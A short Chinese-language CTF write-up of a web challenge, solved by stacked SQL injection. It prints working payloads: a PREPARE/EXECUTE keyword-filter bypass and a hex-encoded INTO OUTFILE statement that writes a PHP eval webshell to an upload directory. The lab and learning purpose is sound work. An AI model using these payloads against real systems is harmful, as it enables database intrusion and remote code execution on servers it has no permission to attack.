打开界面发现注册admin已经有了这个用户,就注册了一个admin '
然后功能都看一下,发现有一个id的get传参,所以我们可以传参数,实验一下是不是sql注入点
id=1的时候显示了admin的用户,想到了水平越权的问题。但还是没啥,接着看看其他的功能
异或可以然后试试,发现呃呃呃应该是过滤了,fuzz发现就剩了几个符号包括分号,想到了堆叠注入分号链接
id=1;show%20tables;%20--+
这样子可以成功,但没有表的回显,
抓包也没什么信息
然后找到了一个上传文件的地方,然后随便上传了一个jpg文件
直接保存到了/favicon的目录
翻了翻大佬们的wp,原来还有一种可能就是数据库中其实没数据,本来想用时间注入现在想想也不会成功的。
wp是通过盲注,然后一个个读取user.php的源码,我简单的跑了一下半个小时也跑不出来,所以我觉得这种方法并不太实用。
mysqli_multi_query() 执行的sql语句,其可以执行一个或多个针对数据库的查询,多个查询用分号进行分隔,也就存在堆叠注入。
然后其实我们可以想到union select都被过滤了,然后还是堆叠注入,里面有一个非常重要的手段预处理,往目标主机写webshell
PREPARE stmt_name FROM preparable_stmt
EXECUTE stmt_name [USING @var_name [, @var_name] ...]
{DEALLOCATE | DROP} PREPARE stmt_name
例子:
1';set @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#
select '<?php eval($_POST[whoami]);?>' into outfile '/var/www/html/favicon/shell.php';
// favicon目录具有写入权限
为什么有写入权限呢,因为文件上传都是传到了这个目录的里面,所以有可写的权限
我们可以将上面这个sql语句先进行hex编码,然后再加到预处理语句中,即
set @sql = 0x73656C65637420273C3F706870206576616C28245F504F53545B77686F616D695D293B3F3E2720696E746F206F757466696C6520272F7661722F7777772F68746D6C2F66617669636F6E2F7368656C6C2E706870273B;prepare s1 from @sql;execute s1;
通过命令获得flag ,可能是我做题少吧,第一次 看见sql中采用预处理然后写入webshell,最后得flag,反过来分析,通过上传文件给了一个可读写权限得路径,一步步收集信息,只能说自己太菜了。